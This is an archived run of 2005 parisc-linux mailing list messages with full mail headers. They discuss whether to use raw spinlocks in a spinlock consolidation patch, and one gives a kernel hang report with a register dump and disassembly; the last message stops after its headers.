	by palinux.hppa (Postfix) with ESMTP id B5AD0494060;
	Mon,  6 Jun 2005 09:08:56 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 2CD69298056;
	Mon,  6 Jun 2005 09:12:34 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23377-10; Mon, 6 Jun 2005 09:12:32 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id D1DEC29803C; Mon,  6 Jun 2005 09:12:32 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20050606073627.GA10387@elte.hu>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: dQLWYgl2eSEkW76WZHQhaXN1IGRvb0CY
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25134

On Mon, Jun 06, 2005 at 09:36:27AM +0200, Ingo Molnar wrote:
> > I've adapted parisc-linux to this patch and put my changes into
> > a patch that goes on top of Ingo's.
> 
> i'm wondering, is the conversion to raw_spinlock_t absolutely necessary 
> to get a working PARISC kernel?

No. They were regular spinlocks before too. But there was a pretty
ugly set of interdependencies between asm/system.h, spinlock.h,
atomic.h, and bitops.h.

The cleanup necessary might be alot more baggage than you want
to carry around for this patch.

>  I feel a bit uneasy about using the raw 
> spinlocks directly - they were not intended to be used like that, for 
> the time being. Right now they are internal types.

They are arch specific types (asm/spinlock_types.h) and
I'm only using raw_spinlock_t in arch specific code.

>  You should be able to 
> use spinlock_types.h just as much to simplify your include file 
> dependencies. (as long as you use the spinlock APIs only in .c files)

I'll take another quick look
and see where the circular dependencies are now.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ingo Molnar <mingo@elte.hu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [patch] spinlock consolidation, v2
Date: Mon, 6 Jun 2005 18:31:41 +0200
Lines: 20
Approved: news@gmane.org
Message-ID: <20050606163141.GA15703@elte.hu>
References: <20050603173132.GX14929@parcelfarce.linux.theplanet.co.uk>
	<20050606060512.GB30857@colo.lackof.org>
	<20050606073627.GA10387@elte.hu>
	<20050606151232.GA24437@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624544 26826 80.91.229.3 (22 Nov 2014 02:49:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:04 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org,
 Matthew Wilcox <matthew@wil.cx>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:28:12 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Jun 2005 16:32:30 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx012) with SMTP; 06 Jun 2005 18:32:30 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3E1D97D6C3;
	Mon,  6 Jun 2005 10:32:24 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30765-01; Mon, 6 Jun 2005 10:32:23 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 283067D6BD;
	Mon,  6 Jun 2005 10:32:23 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8A5D77D6B7
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  6 Jun 2005 10:32:20 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30638-02 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 6 Jun 2005 10:32:20 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 21DED7D6B6
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  6 Jun 2005 10:32:20 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id D179849418C; Mon,  6 Jun 2005 10:32:19 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mx2.elte.hu (mx2.elte.hu [157.181.151.9])
	by palinux.hppa (Postfix) with ESMTP id 71284494060;
	Mon,  6 Jun 2005 10:32:19 -0600 (MDT)
Original-Received: from chiara.elte.hu (chiara.elte.hu [157.181.150.200])
	by mx2.elte.hu (Postfix) with ESMTP id EA8BE31BC7B;
	Mon,  6 Jun 2005 18:29:26 +0200 (CEST)
Original-Received: by chiara.elte.hu (Postfix, from userid 17806)
	id 7DD5A1FC2; Mon,  6 Jun 2005 18:32:06 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20050606151232.GA24437@colo.lackof.org>
User-Agent: Mutt/1.4.2.1i
X-ELTE-SpamVersion: MailScanner 4.31.6-itk1 (ELTE 1.2) SpamAssassin 2.63
	ClamAV 0.73
X-ELTE-VirusStatus: clean
X-ELTE-SpamCheck: no
X-ELTE-SpamCheck-Details: score=-4.9, required 5.9,
	autolearn=not spam, BAYES_00 -4.90
X-ELTE-SpamScore: -4
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: yR/WYnFFeSEkfr6WZHQhaXN1IGRvb0Ce
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25135


* Grant Grundler <grundler@parisc-linux.org> wrote:

> >  I feel a bit uneasy about using the raw 
> > spinlocks directly - they were not intended to be used like that, for 
> > the time being. Right now they are internal types.
> 
> They are arch specific types (asm/spinlock_types.h) and I'm only using 
> raw_spinlock_t in arch specific code.

please dont use the raw spinlocks. They dont carry some features such as 
debugging. (or any other future feature of the generic spinlock_t type)

	Ingo
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [patch] spinlock consolidation, v2
Date: Mon, 6 Jun 2005 11:55:54 -0600
Lines: 20
Approved: news@gmane.org
Message-ID: <20050606175554.GD24437@colo.lackof.org>
References: <20050603173132.GX14929@parcelfarce.linux.theplanet.co.uk>
	<20050606060512.GB30857@colo.lackof.org>
	<20050606073627.GA10387@elte.hu>
	<20050606151232.GA24437@colo.lackof.org>
	<20050606163141.GA15703@elte.hu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624545 26827 80.91.229.3 (22 Nov 2014 02:49:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:05 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org,
 Matthew Wilcox <matthew@wil.cx>
To: Ingo Molnar <mingo@elte.hu>
Original-X-From: - Wed Jul 02 21:28:12 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Jun 2005 17:52:55 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx062) with SMTP; 06 Jun 2005 19:52:55 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2FD957D6CB;
	Mon,  6 Jun 2005 11:52:23 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31517-07; Mon, 6 Jun 2005 11:52:23 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9AABA7D6CE;
	Mon,  6 Jun 2005 11:52:22 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C22E37D6C8
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  6 Jun 2005 11:52:18 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31301-08 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 6 Jun 2005 11:52:18 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 5656F7D6C3
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  6 Jun 2005 11:52:18 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id EFBE749418C; Mon,  6 Jun 2005 11:52:18 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by palinux.hppa (Postfix) with ESMTP id 8F510494060;
	Mon,  6 Jun 2005 11:52:17 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 8D0DB298058;
	Mon,  6 Jun 2005 11:55:55 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04415-02; Mon, 6 Jun 2005 11:55:54 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 43E4E29803C; Mon,  6 Jun 2005 11:55:54 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20050606163141.GA15703@elte.hu>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: L+jWYm8eeSEkTL6WZHQhaXN1IGRvbwCe
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25136

On Mon, Jun 06, 2005 at 06:31:41PM +0200, Ingo Molnar wrote:
> > They are arch specific types (asm/spinlock_types.h) and I'm only using 
> > raw_spinlock_t in arch specific code.
> 
> please dont use the raw spinlocks. They dont carry some features such as 
> debugging. (or any other future feature of the generic spinlock_t type)
> 

TBH, I'd rather not use them. Please look at the -02 patch I just sent
and advise on how you think the cyclic dependency can be killed.
raw spinlocks is obviously just one way.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] usb/input/hid-core.c extract() brain damage
Date: Tue, 7 Jun 2005 16:20:19 -0400 (EDT)
Lines: 87
Approved: news@gmane.org
Message-ID: <200506072020.j57KKJgU028014@hiauly1.hia.nrc.ca>
References: <4282FEEE0000A497@mail-5-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624545 26831 80.91.229.3 (22 Nov 2014 02:49:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:05 +0000 (UTC)
Cc: kyle@cabal.ca,
 parisc-linux@parisc-linux.org
To: soete.joel@tiscali.be (Joel Soete)
Original-X-From: - Wed Jul 02 21:28:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 07 Jun 2005 20:20:43 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx057) with SMTP; 07 Jun 2005 22:20:43 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1DC857D6EE;
	Tue,  7 Jun 2005 14:20:30 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06571-09; Tue, 7 Jun 2005 14:20:29 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 111C07D6EF;
	Tue,  7 Jun 2005 14:20:29 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1099B7D6EB
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  7 Jun 2005 14:20:26 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06437-07 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 7 Jun 2005 14:20:25 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 900407D6EA
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  7 Jun 2005 14:20:25 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 2DC08494197; Tue,  7 Jun 2005 14:20:25 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by palinux.hppa (Postfix) with ESMTP id E240A494060
	for <parisc-linux@parisc-linux.org>;
	Tue,  7 Jun 2005 14:20:24 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j57KKKnV028016; Tue, 7 Jun 2005 16:20:20 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j57KKJgU028014;
	Tue, 7 Jun 2005 16:20:19 -0400 (EDT)
In-Reply-To: <4282FEEE0000A497@mail-5-bnl.tiscali.it> from "Joel Soete" at Jun
	7, 2005 07:14:20 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: y2TUYpcpeSEkS76WZHQhaXN1IGRvb0CR
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25137

> > Sorry it didn't help for me (on a b180 with kernel 2.6.12-rc5-pa2 and 2.6.8/include/asm-parisc/unaligned.h)
> > still panicing as usual:

It also didn't help the stability issues that I previously reported
for my c3750 although the mouse and keyboard now work with 2.6.12.

> Definitely, the system already hang with 2.6.9-rc2-pa13.
> As it's a b180, I observe leds on front panel:
>     o heart bit always flicking, 
>     o from time to time lan in/out leds flick also,
>     o power on/off button didn't reach to stop the system
>     o after that only toc buttom reach to restart the server (fwiw nothing
> in piminfo?)

Here's a hand copy TOC dump using 2.6.12-rc5-pa1 with Grant's usb
patch:

General registers
0	00000000	409b4480	1018122c	4ce72ac0
4	00000001	0002e4f8	000007d1	4ce72ac0
8	00000000	0002e500	00000001	fffffff2
12	00000000	000e7508	00000000	00000000
16	000eb8e8	00000000	00000001	40918000
20	00000001	00000000	0002e4fe	4ce72ad6
24	00000000	00000001	4d9f7e00	103dc010
28	00000000	00155cc0	40918140	10180fe8

IIA Space	= 00000000
IIA Offset	= 10181300

r2 points to this bit of code in sys_poll:

101810e8 <sys_poll>:
101810e8:       6b c2 3f d9     stw rp,-14(sp)
101810ec:       37 de 01 00     ldo 80(sp),sp
101810f0:       6b cb 3f 31     stw r11,-68(sp)
101810f4:       6b ca 3f 39     stw r10,-64(sp)
...
1018120c:       8d 00 3f 4f     cmpib,<>,n 0,r8,101811b8 <sys_poll+0xd0>
10181210:       08 08 02 44     copy r8,r4
10181214:       08 0a 02 5a     copy r10,r26
10181218:       08 06 02 57     copy r6,r23
1018121c:       08 07 02 59     copy r7,r25
10181220:       37 d8 3f 11     ldo -78(sp),r24
10181224:       eb ff bb 8d     b,l 10180ff0 <do_poll>,%r2
10181228:       34 0b 3f e5     ldi -e,r11
1018122c:       c8 67 20 9a     movb,=,n r7,r3,10181280 <sys_poll+0x198>

IIA Offset points to this bit of code in do_poll:

101810e8 <sys_poll>:
101810e8:       6b c2 3f d9     stw rp,-14(sp)
101810ec:       37 de 01 00     ldo 80(sp),sp
101810f0:       6b cb 3f 31     stw r11,-68(sp)
101810f4:       6b ca 3f 39     stw r10,-64(sp)
...
10181250:       03 c0 08 b3     mfctl tr6,r19
10181254:       0e 78 10 94     ldw c(,r19),r20
10181258:       8e 80 21 38     cmpib,<> 0,r20,101812fc <sys_poll+0x214>
...
101812f0:       4b c3 3f 71     ldw -48(sp),r3
101812f4:       e8 40 d0 00     bve (rp)
101812f8:       37 de 3f 01     ldo -80(sp),sp
101812fc:       0e d5 d2 40     sth r21,0(sr3,r22)
10181300:       e8 1f 1e bf     b,l,n 10181264 <sys_poll+0x17c>,r0
10181304:       e8 1f 1f 35     b,l 101812a4 <sys_poll+0x1bc>,r0
10181308:       34 0b 3f e5     ldi -e,r11
1018130c:       e8 1f 1d a5     b,l 101811e4 <sys_poll+0xfc>,r0
10181310:       08 1c 02 47     copy ret0,r7
10181314:       e8 1f 1c f5     b,l 10181194 <sys_poll+0xac>,r0
10181318:       d4 df 18 01     depwi,z -1,31,31,r6

1018131c <wait_for_partner>:

The system was still pingable, but ssh and the console didn't work.
No heartbeat was observed.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [patch] spinlock consolidation, v2
Date: Wed, 8 Jun 2005 10:05:25 -0600
Lines: 62
Approved: news@gmane.org
Message-ID: <20050608160525.GA5908@colo.lackof.org>
References: <20050607180315.GH29220@colo.lackof.org>
	<4282FEEC0000AB95@mail-3-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624545 26842 80.91.229.3 (22 Nov 2014 02:49:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:05 +0000 (UTC)
Cc: Ingo Molnar <mingo@elte.hu>,
 parisc-linux@parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:28:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 Jun 2005 16:02:00 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx066) with SMTP; 08 Jun 2005 18:02:00 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B9C407D63B;
	Wed,  8 Jun 2005 10:01:57 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13062-09; Wed, 8 Jun 2005 10:01:57 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7A5027D63F;
	Wed,  8 Jun 2005 10:01:56 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 14CE57D63B
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  8 Jun 2005 10:01:52 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12768-09 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 8 Jun 2005 10:01:51 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 9C04C7D63A
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  8 Jun 2005 10:01:51 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 18BA4494198; Wed,  8 Jun 2005 10:01:49 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by palinux.hppa (Postfix) with ESMTP id AF358494060;
	Wed,  8 Jun 2005 10:01:48 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 8F45C29803C;
	Wed,  8 Jun 2005 10:05:27 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10473-01; Wed, 8 Jun 2005 10:05:26 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 0DB2D298034; Wed,  8 Jun 2005 10:05:25 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <4282FEEC0000AB95@mail-3-bnl.tiscali.it>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: LnPVYv1/eSEkML6WZHQhaXN1IGRvbwCZ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
